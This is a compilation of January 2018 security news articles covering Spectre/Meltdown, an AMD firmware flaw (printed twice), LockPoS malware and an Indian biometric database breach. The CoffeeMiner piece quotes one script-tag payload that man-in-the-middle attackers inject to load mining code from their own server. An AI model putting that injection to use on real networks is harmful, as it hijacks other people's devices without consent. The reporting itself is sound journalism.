STE WILLIAMS

Smartphones’ security enhancements just make them more dangerous

Over the holidays I bought Apple’s newest, shiniest face scanner. For the first fortnight – and periodically since then, that constant lift-and-scan felt weird. As though my smartphone had suddenly become too intimate, too familiar.

This is hardly the thin end of the wedge. It started with passcodes – which many people didn’t even use, to begin with. Then, as it became clear that an unlocked smartphone could leak dangerous data, we began locking them behind PINs.

Even that basic layer of safety proved too hard for many people – either unable to remember the PIN or unwilling to spend time typing it in, over and over and over – so a few years back the devices added fingerprint readers.

That marked a Rubicon of sorts, because crossing it subtly changed the balance of power between user and device. As the device acquired the necessary sensing and computational capacities, designers could raise the bar on access control. The smartphone, now seen as safe and secure, became the home for a range of data that had formerly only lived in highly-protected data centres: medical and financial (and sexual) datasets freely commingle within our devices. Suddenly the accidental loss or unlocking of a smartphone became a very serious matter, far beyond the loss of a wallet or keys – or anything else we’ve ever carried around with us everywhere.

It’s as if each of us bears our crown jewels in our pockets, relying on the big padlock we’ve placed upon the device to protect us from thieves.

A few months back, as I queued for a flight, I handed the check-in staff my smartphone, expecting they’d scan the QR code representing my boarding pass. They waved it away. “We’d prefer you scan your code yourself – just in case we drop it. People get very upset. They lose their whole lives.”

Smartphones have enormous utility value, but that’s created a kind of gravitational warp around them. They’re too dense with value, requiring increasingly careful handling and ever-stronger locks.

So to FaceID™, because Apple claims fingerprints aren’t nearly unique enough. It may be that my mug is more unique than my thumb, but maybe we should be asking ourselves how much safety we need? Where does this end? Already we know that a clever 3D print job can fool FaceID some of the time. That will only grow easier as the technology becomes better understood. The arms race of security ratcheting ever upward, will continue to demand ever more invasive scans to determine our authenticity.

In about a decade or so – advances in microfluidics will allow Apple to embed a rapid DNA analyser – a la GATTACA – inside iPhone XX. I can already imagine Tim Cook’s keynote, touting the “one in a billion” uniqueness of DNA. A thousand times better than that silly and so-easily-spoofed FaceID! You’re gonna love it!

Will we love it? Or will we be so afraid of our digital selves falling into the wrong hands (particularly those closest to us) that we’ll simply submit to any indignity to protect ourselves?

We’ve always had to be careful when transporting objects of great value. It may be that we decide the wiser course is simply not to transport them at all. At some point the danger of ubiquity overwhelms the usability of the device. My new iPhone feels as though it sits right on this side of that abyss, asking us how far we’re willing to go – and how much we’re willing to surrender – to be secure.

Benjamin Franklin famously said, “Those who would give up essential liberty to purchase a little temporary safety, deserve neither liberty nor safety.” With every scan of our faces and our fingerprints, we need to ask ourselves whether we really feel any safer. ®

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Article source: http://go.theregister.com/feed/www.theregister.co.uk/2018/01/08/smartphones_security_enhancements_just_make_them_more_dangerous/

Your connection is not Brexit… we mean private: Tory party lets security cert expire

Another day, another embarrassing gaffe for the Tory party. This time it seems someone forgot to renew the site’s security certificate.

The unsecured site reads “Your connection is not private. Attackers might be trying to steal your information from www.conservatives.com (for example, passwords, messages or credit cards).”

It comes as Theresa May is poised to announce a Cabinet reshuffle and appoint a “no deal” Brexit minister (presumably they will carry a red box with a question mark on it and have to phone “the banker”).

But when it comes to tech, the conservatives do not have the best track record.

Home Secretary Amber Rudd has previously been criticised for suggesting the government needs to get people who “understand the necessary hashtags” talking.

She later defended her lack of expertise, saying “I don’t need to understand how encryption work.”

Funnily enough, Rudd is one of the Cabinet members rumoured to be safe in her role. ®

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Article source: http://go.theregister.com/feed/www.theregister.co.uk/2018/01/08/tory_party_website_lacks_secure_connection/

It gets worse: Microsoft’s Spectre-fixer bricks some AMD PCs

Microsoft’s fix for the Meltdown and Spectre bugs may be crocking AMD-powered PCs.

A lengthy thread on answers.microsoft.com records numerous instances in which Security Update for Windows KB4056892, Redmond’s Meltdown/Spectre patch, leaves some AMD-powered PCs with the Windows startup logo and not much more.

Users report Athlon-powered machines in perfect working order before the patch just don’t work after it. The patch doesn’t create a recovery point, so rollback is little use and the machines emerge from a patch in a state from which rollback is sometimes not accessible. Some say that even re-installing Windows 10 doesn’t help matters. Others have been able to do so, only to have their machines quickly download and install the problematic patch all over again …

Those who have suffered from the putrid patch will therefore need to disable Windows Update as just about the first thing they do. Keeping the machine off networks seems a helpful precaution.

The Register cannot find a Microsoft response in the thread, a reasonable lack-of-reaction given many of the complaints accrued over the weekend.

AMD CPUs are immune to Meltdown but susceptible to Spectre, but the silver lining in that cloud has been dirtied by the patch problem. ®

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Article source: http://go.theregister.com/feed/www.theregister.co.uk/2018/01/08/microsofts_spectre_fixer_bricks_some_amd_powered_pcs/

Security hole in AMD CPUs’ hidden secure processor code revealed ahead of patches

Cfir Cohen, a security researcher from Google’s cloud security team, on Wednesday disclosed a vulnerability in the fTMP of AMD’s Platform Security Processor (PSP), which resides on its 64-bit x86 processors and provides administrative functions similar to the Management Engine in Intel chipsets.

This sounds bad. It’s not as bad as you think.

The fTMP is a firmware implementation of the Trusted Platform Module, a security-oriented microcontroller specification. Cohen said he reported the flaw to AMD in late September last year, and the biz apparently had a fix ready by December 7. Now that the 90-day disclosure window has passed seemingly without any action by AMD, details about the flaw have been made public.

A firmware update emerged for some AMD chips in mid-December, with an option to at least partially disable the PSP. However, a spokesperson for the tech giant said on Friday this week that the above fTMP issue will be addressed in an update due out this month, January 2018.

As AMD explains it, the PSP – referred to as AMD Secure Technology – monitors the security environment for the processor, managing the boot process, initializing security mechanisms, and checking for suspect activity. It is described in detail from page 156 of this official developer manual.

It includes an embedded ARM microcontroller, cryptographic coprocessor, local memory, registers, and interfaces, not to mention the Environment Management Control block that oversees processor security checking. It runs the Trustonic TEE (Trusted Execution Environment) as its security kernel. It can also access system RAM and IO.

Overflow

The flaw, identified through manual static analysis, involves a stack-based overflow in a function called EkCheckCurrentCert, which is called from another function TPM2_CreatePrimary with an endorsement key (EK) certificate stored in non-volatile storage.

“A TLV (type-length-value) structure is parsed and copied onto the parent stack frame,” Cohen explained in his mailing list post. “Unfortunately, there are missing bounds checks, and a specially crafted certificate can lead to a stack overflow.”

Unlike some CPUs, the PSP doesn’t implement common exploit mitigation techniques such as stack cookies, No-eXecute (NX) flags, or address space layout randomization (ASLR), making exploitation trivial.

Cohen’s post described the vulnerability as remote code execution flaw. However, physical access is a prerequisite.

In an email to The Register, Dino Dai Zovi, cofounder and CTO of security biz Capsule8, said the vulnerability isn’t quite subject to remote execution “since the crafted certificate that exploits the vulnerability needs to be written to NVRAM, the attacker must already have privileged access to the host or physical access. It would let an attacker bypass secure/trusted boot, which is performed by the TPM.”

An AMD spokesperson told The Register that an attacker would first have to gain access to the motherboard and then modify SPI-Flash before the issue could be exploited. But given those conditions, the attacker would have access to the information protected by the TPM, such as cryptographic keys.

AMD’s spokesperson said the chipmaker plans to address the vulnerability for a limited number of firmware versions. BIOS updates from OEMs are supposed to be made available later this month. ®

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Article source: http://go.theregister.com/feed/www.theregister.co.uk/2018/01/06/amd_cpu_psp_flaw/

Qualcomm joins Intel, Apple, Arm, AMD in confirming its CPUs suffer hack bugs, too

Qualcomm has confirmed its processors have the same security vulnerabilities disclosed this week in Intel, Arm and AMD CPU cores this week.

The California tech giant picked the favored Friday US West Coast afternoon “news dump” slot to admit at least some of its billions of Arm-compatible Snapdragon system-on-chips and newly released Centriq server-grade processors are subject to the Meltdown and/or Spectre data-theft bugs.

“Qualcomm Technologies, Inc is aware of the security research on industry-wide processor vulnerabilities that have been reported,” a spokesperson for Qualcomm told The Register.

“Providing technologies that support robust security and privacy is a priority for Qualcomm, and as such, we have been working with Arm and others to assess impact and develop mitigations for our customers.”

She continued:

We are actively incorporating and deploying mitigations against the vulnerabilities for our impacted products, and we continue to work to strengthen them as possible. We are in the process of deploying these mitigations to our customers and encourage people to update their devices when patches become available.

Qualcomm declined to comment further on precisely which of the three CVE-listed vulnerabilities its chips were subject to, or give any details on which of its CPU models may be vulnerable. The paper describing the Spectre data-snooping attacks mentions that Qualcomm’s CPUs are affected, while the Meltdown paper doesn’t conclude either way.

Qualcomm uses a mix of customized off-the-shelf Arm cores and its homegrown Arm-compatible CPUs in its products, which drive tons of Android-based smartphones, tablets, and other devices. A selection of Arm Cortex-A and Cortex-R CPU core designs are vulnerable to the CVE-2017-5753 and CVE-2017-5715 Spectre vulnerabilities, but only one – the Cortex-A75 – is also vulnerable to the easily exploitable CVE-2017-5754 Meltdown flaw. The A75 is not in any shipping product at the moment.

Qualcomm will use that A75 core for its Snapdragon 845, while other Snapdragon lines list the A53 and A72, which are only vulnerable to the two Spectre variants. As we said, Qualcomm uses a mix of custom and off-the-shelf cores; they are probably affected by Spectre, and maybe Meltdown. Qualy won’t clarify either way.

Look out for operating system updates – particularly Android and Linux – to install on your Qualcomm-powered devices and machines.

Apple, which too bases its iOS A-series processors on Arm’s instruction set, said earlier this week that its mobile CPUs were vulnerable to Spectre and Meltdown – patches are available or incoming for iOS. The iGiant’s Intel-based Macs also need the latest macOS, version 10.13.2 or greater, to kill off Meltdown attacks. ®

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Article source: http://go.theregister.com/feed/www.theregister.co.uk/2018/01/06/qualcomm_processor_security_vulnerabilities/

Security hole in AMD CPUs’ hidden secure processor revealed ahead of patches

Cfir Cohen, a security researcher from Google’s cloud security team, on Wednesday disclosed a vulnerability in the fTMP of AMD’s Platform Security Processor (PSP), which resides on its 64-bit x86 processors and provides administrative functions similar to the Management Engine in Intel chipsets.

This sounds bad. It’s not as bad as you think.

The fTMP is a firmware implementation of the Trusted Platform Module, a security-oriented microcontroller specification. Cohen said he reported the flaw to AMD in late September last year, and the biz apparently had a fix ready by December 7. Now that the 90-day disclosure window has passed seemingly without any action by AMD, details about the flaw have been made public.

A firmware update emerged for some AMD chips in mid-December, with an option to at least partially disable the PSP. However, a spokesperson for the tech giant said on Friday this week that the above fTMP issue will be addressed in an update due out this month, January 2018.

As AMD explains it, the PSP – referred to as AMD Secure Technology – monitors the security environment for the processor, managing the boot process, initializing security mechanisms, and checking for suspect activity. It is described in detail from page 156 of this official developer manual.

It includes an embedded ARM microcontroller, cryptographic coprocessor, local memory, registers, and interfaces, not to mention the Environment Management Control block that oversees processor security checking. It runs the Trustonic TEE (Trusted Execution Environment) as its security kernel. It can also access system RAM and IO.

Overflow

The flaw, identified through manual static analysis, involves a stack-based overflow in a function called EkCheckCurrentCert, which is called from another function TPM2_CreatePrimary with an endorsement key (EK) certificate stored in non-volatile storage.

“A TLV (type-length-value) structure is parsed and copied onto the parent stack frame,” Cohen explained in his mailing list post. “Unfortunately, there are missing bounds checks, and a specially crafted certificate can lead to a stack overflow.”

Unlike some CPUs, the PSP doesn’t implement common exploit mitigation techniques such as stack cookies, No-eXecute (NX) flags, or address space layout randomization (ASLR), making exploitation trivial.

Cohen’s post described the vulnerability as remote code execution flaw. However, physical access is a prerequisite.

In an email to The Register, Dino Dai Zovi, cofounder and CTO of security biz Capsule8, said the vulnerability isn’t quite subject to remote execution “since the crafted certificate that exploits the vulnerability needs to be written to NVRAM, the attacker must already have privileged access to the host or physical access. It would let an attacker bypass secure/trusted boot, which is performed by the TPM.”

An AMD spokesperson told The Register that an attacker would first have to gain access to the motherboard and then modify SPI-Flash before the issue could be exploited. But given those conditions, the attacker would have access to the information protected by the TPM, such as cryptographic keys.

AMD’s spokesperson said the chipmaker plans to address the vulnerability for a limited number of firmware versions. BIOS updates from OEMs are supposed to be made available later this month. ®

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Article source: http://go.theregister.com/feed/www.theregister.co.uk/2018/01/06/amd_cpu_psp_flaw/

How to hack Wi-Fi for fun and imprisonment with crypto-mining inject

Thanks to the ridiculous valuation of Bitcoin and other cryptocurrencies, cryptomining code has become a common mechanism for converting authorized and stolen computing cycles into potential cash.

Antivirus and ad-blocker makers have responded by trying to halt crafty coin-crafting code from hijacking CPU time, particularly in browsers.

For those interested in violating computer laws – please, don’t – and those interested in computer security research projects, a developer named Arnau, based in Spain, has published a proof-of-concept walkthrough for hacking public Wi-Fi networks to inject crypto-mining code in connected browsing sessions.

CoffeeMiner is a project that allows the sort of man-in-the-middle attack that has been used by cyber thieves in Starbucks cafes and doubtless elsewhere.

The CoffeeMiner script is designed to spoof Address Resolution Protocol (ARP) messages on a local area network in order to intercept unencrypted traffic from other devices on the network.

It turn conducts a man-in-the-middle attack using software called mitmproxy to inject the following line of HTML code into non-HTTPS, or otherwise non-encrypted, webpages requested by others on the networks:

script src="http://httpserverIP:8000/script.js" type="text/javascript"/script

When loaded, these webpages run the JavaScript and siphon CPU time to generate Monero, a cryptocurrency, using CoinHive’s crypto-mining software.

As Arnau explained, the attack – demonstrated on a VirtualBox set up rather than in the wild – can be automated. The published version doesn’t work with requests for HTTPS webpages, though the addition of sslstrip could solve that.

The code, mostly Python, is available on GitHub. ®

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Article source: http://go.theregister.com/feed/www.theregister.co.uk/2018/01/05/wi_fi_crypto_ming/

The Nightmare Before Christmas: Security Flaws Inside our Computers

How an Intel design decision with no review by industry security consultants led to one of the biggest vulnerabilities in recent history.

Towards the middle of last year, some researchers at the University of Graz published a paper in which they proposed a new mitigation for a software vulnerability associated with something called ASLR. They called this mitigation KAISER.

ASLR – Address Space Layout Randomization – is a widely-used technique for ensuring that malware can’t easily find out where critical data is loaded into a running process, and subsequently exploit this. Effectively the various pieces of a process are loaded into randomly chosen memory locations, which change each time the process is loaded.

ASLR is only one defense, of course, and it isn’t perfect. Attacks on ASLR have been known for a long time. Consequently, it was rather surprising that, not long after this, the Linux kernel team, Microsoft, and Apple, all started working on patches ostensibly to implement KAISER. The changes were non-trivial and would have significant performance overheads. Not only this, but unexplained maintenance shutdowns were scheduled for Azure and AWS early in the New Year.

We now know that a small number of privileged insiders had knowledge about a much more serious security vulnerability. Unlike most vulnerabilities, this one was intrinsic to the very hardware on which software runs, specifically, Intel CPUs. Worse, this problem could not be resolved with a simple microcode update. It was intrinsic to the design of the CPU chip itself. Software workarounds were complex and imposed significant performance penalties.

So what did these insiders know? It’s believed the flaw lies in the way Intel processors handle access to data in memory.

When a user task requests access to a location in memory, its privileges must be checked. If the task doesn’t have the right privileges, it will not be allowed to read the memory location. But before data from memory is handed back to the requesting task, it is first placed in one of the caches built into the CPU. Caches are just special blocks of very fast memory, intended to ensure that if the same data is requested again, it’ll be right there when it’s needed.

Intel decided to design their CPU so that data is placed in the cache regardless of the requesting task’s privileges. They then checked the permissions of the task after doing this. If the task lacked the required permissions, then it would not receive the requested data and a fault operation would be raised.

But Intel’s design decision had a serious consequence. It is possible for malware to use so-called side-channel attacks to determine the contents of cache memory, even though the malicious software has no direct access to the cache. For example, by measuring how long it takes to retrieve requested data, malicious software can infer what’s cached. That’s a serious problem, because apart from sensitive operating system data, including things like encryption keys, virtualized environments often support multiple tenants – some of whom may be entirely separate organizations. Suddenly, concrete walls become glass walls.

We don’t yet know the performance overheads of the (forthcoming) Windows patch. We do, however, know that the Linux patch has been shown to impose nearly a 25% overhead on database accesses. This is not surprising given the extensive changes that had to be made to work around the problem. These changes negate many of the performance improvements that have been made in recent years, but they are necessary because without them, every Intel-powered computer is fundamentally insecure.

At the time of writing, three proof-of-concept attacks have been demonstrated. These have been grouped into two categories; Meltdown and Spectre. Meltdown is the issue to be concerned over. Spectre is a more limited attack and far less important, and it’s also difficult to exploit.

So now we have a real headache. Every virtualized environment has to be patched, along with physical devices. Anything running an older Linux kernel where legacy line of business software is installed, is now a potential security vulnerability. In many cases it may be far cheaper to simply migrate these systems to AMD-based servers, which are not vulnerable. This is because AMD processors do check privileges before caching data, although researchers haven’t totally shut the door on ARM and AMD processors and note that it’s “unclear” whether they are being affected.  

If your organization is still running older versions of Windows, this will be yet another wakeup call to upgrade to Windows 10 as soon as possible. Of course, we don’t yet know what overheads this fix will impose. Along with this, mobile devices may have significantly poorer battery life. Unfortunately there’s no real alternative. The problem is intrinsic to the CPU design and cannot be patched in microcode.

For Intel, this comes after a terrible year where major security flaws with the inbuilt Management Engine component were exposed, culminating in a demonstration at Black Hat Europe where arbitrary code was loaded into the engine and made to persist after device reboot.

Once again this is also a reminder that security through obscurity is no defense. Indeed, it is innately a vulnerability. When Intel made their design decisions they did so internally, with no review by industry security consultants. As has been shown time and time again, this guarantees something will be overlooked.

It’s also interesting that this vulnerability has probably been around for a decade or more. Of course, we can’t know for sure that someone – a nation state, for example – didn’t already know all about this, and possibly even have a weaponized exploit. Indeed – as has happened several times recently – it may be that such an exploit has inadvertently reached the public domain.

Hopefully over the next few days and weeks, we’ll learn more. At present, leading industry commentators, including Linus Torvalds, Alex Ionescu, and Mark Russinovich have been fairly tight-lipped over the issue. This is probably not surprising considering how high the stakes are. But for now this is probably the biggest security flaw discovered for a very long time – and 2018 has only just begun!

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Andrew Mayo has been involved in IT, both in software and hardware roles, for enough years to have worked through the tail-end of the punched card and paper tape era, and the subsequent invention of the PC. Currently he’s working on the evolution of 1E’s Tachyon solution, … View Full Bio

Article source: https://www.darkreading.com/attacks-breaches/the-nightmare-before-christmas-security-flaws-inside-our-computers/a/d-id/1330756?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple

LockPoS Malware Sneaks onto Kernel via new Injection Technique

“Alarming evolution” of Flokibot bypasses antivirus software and was likely built by a group of advanced attackers, researchers say.

A sneaky new injection technique delivers LockPoS malware straight into the kernel, researchers report. This “silent” method bypasses traditional antivirus software.

LockPoS is a type of point-of-sale (PoS) malware designed to snatch credit card data from the memory of computers connected to PoS card scanners. It reads the memory of processes running on the system to look for data that looks like payment card info and sends it to the command and control servers.

There are multiple stages of unpacking and decryption in LockPoS, but Cyberbit researchers report its most interesting traits are the injection technique and routines for code injection. The team discovered a new way LockPoS is arriving on machines.

LockPoS comes from the same botnet used to send Flokibot PoS, a bot based on leaked Zeus code discovered by Malwarebytes in 2016. The LockPoS injection technique is similar to the one used by Flokibot but uses different API calls for injection, and is more advanced overall.

Meir Brown, Cyberbit’s director of research for endpoint detection and response, says researchers detected the new technique when they discovered a LockPoS malware sample using remote access but couldn’t identify the injection. Usually the technique is obvious.

“It was somehow injected without us being able to see the injection technique,” Brown explains, noting that malware typically uses a Windows API to operate code injection and there are many different APIs that malware can use. “Here, there is no evidence of injection,” he says. 

Malware analyst Hod Gavriel ran the malware through a reversing lab to understand this. He discovered the injection was silent because it directly entered the kernel. All the routines used to inject the code are exported from a core dll file of the Windows OS, which serves as a “gate” from the user space to the kernel space, researchers report. The malware avoids antivirus systems by mapping this core file from the disk to its own virtual address space.

“Flokibot was not that impressive because the injection was still discoverable,” says Gavriel. “Here, in LockPoS, it is totally silent. It can inject code without raising any flags. Somebody put a lot of effort into this malware … it’s not simple code.”

He calls this an “alarming evolution” of Flokibot that was likely built by a group of advanced attackers. “This is not something that can be done by five people in a lab. This is an operation.”

Brown says this discovery is a sign PoS malware is evolving. Authors are investing more in generating attacks on vendors and creating more advanced threats to both stay hidden and evade security tools. While it has been used in the wild, he notes researchers have not seen any evidence of specific breaches that used this LockPoS injection technique.

“The whole point-of-sale, retail market should be aware they’re being targeted,” he says. “They need to raise the bar in security.” This doesn’t only mean investing in the right technology, but the right people. Businesses need someone to understand and respond to threats they detect.

Ed Cabrera, chief cybersecurity officer at Trend Micro, says researchers at the company are “seeing a lot of innovation going on” in PoS malware. While the bot delivery method has been around for a while, attackers are evolving their strategies around distributing malware.

“They’re not improving the malware itself but they’re improving the process for delivering, and becoming much more effective in their tactics,” he explains. Attackers are refining their campaigns, using automation to launch attacks and exfiltrate information. Many are narrowing their focus on smaller businesses, which typically don’t have strong security measures in place.

“One trend we’re seeing is — thanks to PoS malware bots that are conducting these types of attacks — criminals can be much more effective in doing automated attacks, possibly reaching small and medium-sized businesses in a much more effective way,” he explains.

Cabrera says retailers are becoming better at understanding the threats they face but usually don’t ramp up their security strategies until after a breach, when their vulnerabilities are made much more obvious. Depending on the store, they start building security programs in response, he says.

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Kelly Sheridan is Associate Editor at Dark Reading. She started her career in business tech journalism at Insurance Technology and most recently reported for InformationWeek, where she covered Microsoft and business IT. Sheridan earned her BA at Villanova University. View Full Bio

Article source: https://www.darkreading.com/endpoint/lockpos-malware-sneaks-onto-kernel-via-new-injection-technique/d/d-id/1330757?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple

Breach of India’s Biometric Database Puts 1 Billion Users at Risk

The Tribune reports that hackers gained access to users’ names, addresses, phone numbers, and other PII.

A breach of the Unique Identification Authority of India’s Aadhaar biometric system is putting personally identifiable information (PII) of more than 1 billion Indian residents at risk, reports the Tribune, an Indian publication.

Attackers created a gateway to the biometric database, in which any Aadhaar user’s ID number can be entered into a portal, the Tribune reports. Once the number is entered, it will pull up the resident’s name, address, postal code, photo, phone number, and email address, according to the Tribune.

Cyberthieves are selling access to the portal for 500 rupees and are charging an additional 300 rupees for software that allows a victim’s Aadhaar card to be printed, according to the report.

The Unique Identification Authority of India denies its Aadhaar database has been breached, the Tribune reports, but notes that Tribune reporters were able to make Aadhaar data purchases as part of its investigation.

Read more about Aadhaar here.

Dark Reading’s Quick Hits delivers a brief synopsis and summary of the significance of breaking news events. For more information from the original source of the news item, please follow the link provided in this article. View Full Bio

Article source: https://www.darkreading.com/vulnerabilities---threats/breach-of-indias-biometric-database-puts-1-billion-users-at-risk-/d/d-id/1330758?_mc=rss_x_drr_edt_aud_dr_x_x-rss-simple